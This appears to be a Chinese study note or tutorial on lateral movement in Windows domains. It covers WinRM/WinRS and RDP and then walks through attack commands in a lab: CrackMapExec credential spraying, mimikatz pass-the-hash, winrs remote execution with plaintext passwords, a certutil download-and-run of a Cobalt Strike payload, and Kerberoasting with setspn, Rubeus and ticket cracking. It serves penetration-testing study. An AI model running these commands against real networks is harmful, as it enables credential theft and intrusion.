目录
一. SPN扫描
WinRM协议
WinRM是一种远程管理协议,用于在Windows操作系统上进行远程管理和命令执行。它使用基于Web服务的标准协议,如HTTP或HTTPS,并使用SOAP消息格式进行通信。WinRM提供了更全面的远程管理功能,包括执行命令、配置设置、获取系统信息、安装软件等操作。它通常与PowerShell等工具结合使用,使管理员能够远程管理和监控Windows计算机。
WinRM(Windows 远程管理)是由 Microsoft 开发的一种用于远程管理和管理员 Windows 系统的协议。它提供了一种标准化的方式来与远程计算机进行通信和执行远程管理任务。
以下是 WinRM 协议的一些关键方面:
-
通信协议:WinRM 基于 Web Services Management(WS-Management)标准,使用 SOAP(简单对象访问协议)通过 HTTP 或 HTTPS 进行通信。它利用行业标准的协议和技术实现安全的远程通信。
-
身份验证:WinRM 支持多种身份验证方法,包括 Kerberos、NTLM(NT LAN Manager)和基本身份验证。身份验证方法的选择取决于环境的配置和安全要求。
-
端口和终结点:WinRM 默认使用 TCP 端口 5985(HTTP)和 5986(HTTPS)。远程计算机上需要启用 WinRM 服务并配置相应的终结点,以便进行远程管理。
-
指令执行:使用 WinRM,管理员可以远程执行命令、脚本和 PowerShell cmdlet,从而实现对远程 Windows 计算机的管理。这使得在无需直接物理访问计算机的情况下,能够高效地进行管理和故障排除任务。
-
远程配置和管理:WinRM 允许管理员远程配置 Windows 系统的各个方面,如网络设置、防火墙规则、组策略和服务。它提供了一个统一的接口,从中心管理站点对远程系统进行管理。
-
与 PowerShell 的集成:WinRM 与 PowerShell 密切集成,PowerShell 是 Microsoft 强大的命令行 shell 和脚本语言。PowerShell cmdlet 可以利用 WinRM 进行远程命令执行和从 Windows 系统检索管理信息。
WinRM 在企业环境中常用于远程管理、自动化和远程支持等方面。它使管理员能够从一个中心管理站点高效、安全地管理大量的 Windows 计算机。
WinRS是一个命令行工具,用于在远程计算机上执行命令。它使用WinRM协议进行通信,并可以通过命令行界面或批处理脚本使用。WinRS允许管理员通过命令行方式在远程计算机上执行命令,而不需要在远程计算机上登录交互式会话。它适用于一次性执行简单命令的场景,如执行远程脚本、复制文件、查询系统信息等。
RDP协议
RDP(Remote Desktop Protocol)是一种用于远程桌面连接和远程管理的协议。它允许用户通过网络远程访问和控制远程计算机的桌面界面。
以下是RDP协议的一般工作流程:
-
客户端连接:用户在本地计算机上运行RDP客户端应用程序,并提供要连接的远程计算机的IP地址或主机名。
-
连接建立:客户端通过TCP/IP协议与远程计算机的RDP服务建立连接。默认情况下,RDP使用端口3389。
-
身份验证:一旦连接建立,客户端需要进行身份验证。用户输入远程计算机的用户名和密码进行认证。这些凭据将在安全的加密通道中传输,以确保安全性。
-
会话建立:一旦身份验证成功,远程计算机将创建一个新的用户会话,并将其桌面界面传输回客户端。客户端可以实时查看和操作远程计算机的桌面。
-
远程控制:客户端通过RDP协议向远程计算机发送用户输入(例如键盘和鼠标操作),远程计算机将这些输入应用于其桌面界面。客户端可以远程控制远程计算机,并执行各种操作。
-
会话结束:当用户关闭RDP连接或断开网络连接时,远程会话结束,并且客户端和远程计算机之间的连接被断开。
RDP协议具有良好的图形传输性能和数据压缩能力,使得远程桌面操作可以以较低的延迟和高帧率进行。它广泛应用于远程技术支持、远程管理、远程办公等场景,提供了便捷的远程访问和控制功能。
域横向移动:RDP协议
远程桌面服务 支持明文及HASH连接
条件:对方开启RDP服务 远程桌面
RDP连接:
- 直接在当前被控主机上进行远程连接(直接在webserver进行远程连接sqlserver)
- 建立节点进行连接(使用代理工具) 推荐
- 端口转发(将SQLserver 3389端口的流量转发至webserver 2222端口,需要上传工具)
采用第二种方案,CS节点搭建,攻击机代理到CS上,直接攻击机上测试即可
tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号
RDP协议利用
一. 探针服务
cs 内置端口扫描3389
二. 获取NTML Hash 明文密码
CrackMapExec&MSF 批扫用户名密码验证
从Webserver上扫描得到域内用户名,读取所有的NTML Hash,明文密码
从本地管理员和域用户,两个角度扫描,最终得到用户对应的密码
proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt
三. 连接执行
明文连接:win攻击机 本地 桌面远控连接
mstsc /console /v:192.168.3.32 /admin
CS插件 NTML Hash连接
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"
圆孔桌面
两个用户同时登录主机
域横向移动:WinRM WinRS
利用WinRM服务,采用WinRS连接
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
移动条件:双方都启用的Winrm rs的服务!
使用此服务需要管理员级别凭据
Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。
攻击机开启WinRM协议,WinRS命令
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
WinRM协议、WinRS命令利用
一. cs 内置端口扫描5985
二. 连接执行
执行命令
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami
三. 上线CS
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe webserver4444.exe & webserver4444.exe"
四. CS插件横向移动
域横向移动:SPN Kerberos
SPN协议可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)
Kerberoasting 攻击:这种攻击方式是建立在没有NTML Hash或者明文密码的情况下的,可以尝试采取破解rc4加密得到明文密码,再去横向移动的思路
这两个常常结合起来一起使用,SPN探针域内服务,利用工具筛选出可利用的服务(rc4加密),逆向破解得到明文密码。
Kerberoast攻击流程:
- SPN服务发现
- 请求服务票据(工具判断与powershell脚本判断)
- 服务票据的导出(mimikatz导出)
- 服务票据的暴力破解(使用密码字典进行RC4协议破解)
如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。这种加密方式是可以破解的
如果选择是AES,就是安全无法逆向破解的
黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。
通过SPN协议信息收集
可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)
shell setspn -T GOd.org -q */*
根据服务筛选主机
powershell setspn -T God.org -q */* | findstr "MSSQL"
Kerberoasting 攻击
背景:拿下一台主机Win7,但是MImikatz抓取密码失败,没有获得任何的Hash,明文密码
原因:主机修改了注册表,打过补丁都有可能导致Mimikatz失败
攻击条件:票据采用RC4加密,可以采用工具Rebues检测或者查看票据加密类型
这里攻击的是服务票据,通过破解服务票据的到明文密码
攻击原理
Kerberoasting是一种针对Active Directory(AD)环境中使用Kerberos身份验证的服务的攻击技术。它利用了Kerberos协议的一个弱点,即服务账户的服务票据(Service Ticket)是基于服务账户的加密密码生成的。攻击者可以通过抓取到的服务票据离线破解该密码,并最终获取到服务账户的明文密码。
攻击的过程如下:
-
攻击者在AD环境中找到目标服务账户,并请求该服务账户的服务票据。
-
AD会返回加密的服务票据给攻击者。
-
攻击者将加密的服务票据保存下来,离线进行破解。
-
攻击者使用密码破解工具(例如Hashcat)对保存的服务票据进行破解。由于服务票据是使用服务账户的密码生成的,因此攻击者可以通过尝试不同的密码来破解该密码。
-
一旦攻击者成功破解了服务账户的密码,他们就可以使用这个密码来登录该服务账户,获取进一步的访问权限。
一. SPN扫描
CS执行命令,在CS中探针域服务
shell setspn -T 0day.org -q */*
那个看着不方便,直接放到主机上看吧
powershell setspn -T 0day.org -q */*
得到当前域内所有主机上的服务
klist 查看当前主机的票据,每张票据的最下面表示加密的类型。TGT票据
二. 检测RC4加密的服务票据
检测方式一:利用工具
项目地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
.\Rebeus.exe kerberoast
检测出来SQL Server服务可以攻击 采用RC4 下面是Hash值
klist查看,这工具本质也是请求服务,生成服务票据
但是没看到TGT票据,只有服务票据,很奇怪
检测方式二:手工检测,先请求生成票据,再检测
手工检测可以攻击的票据
三. Mimikatz导出票据
四. 使用脚本破解票据
得到明文密码,因为服务票据是提供服务的主机生成的,所以得到的明文密码也是提供服务的主机的。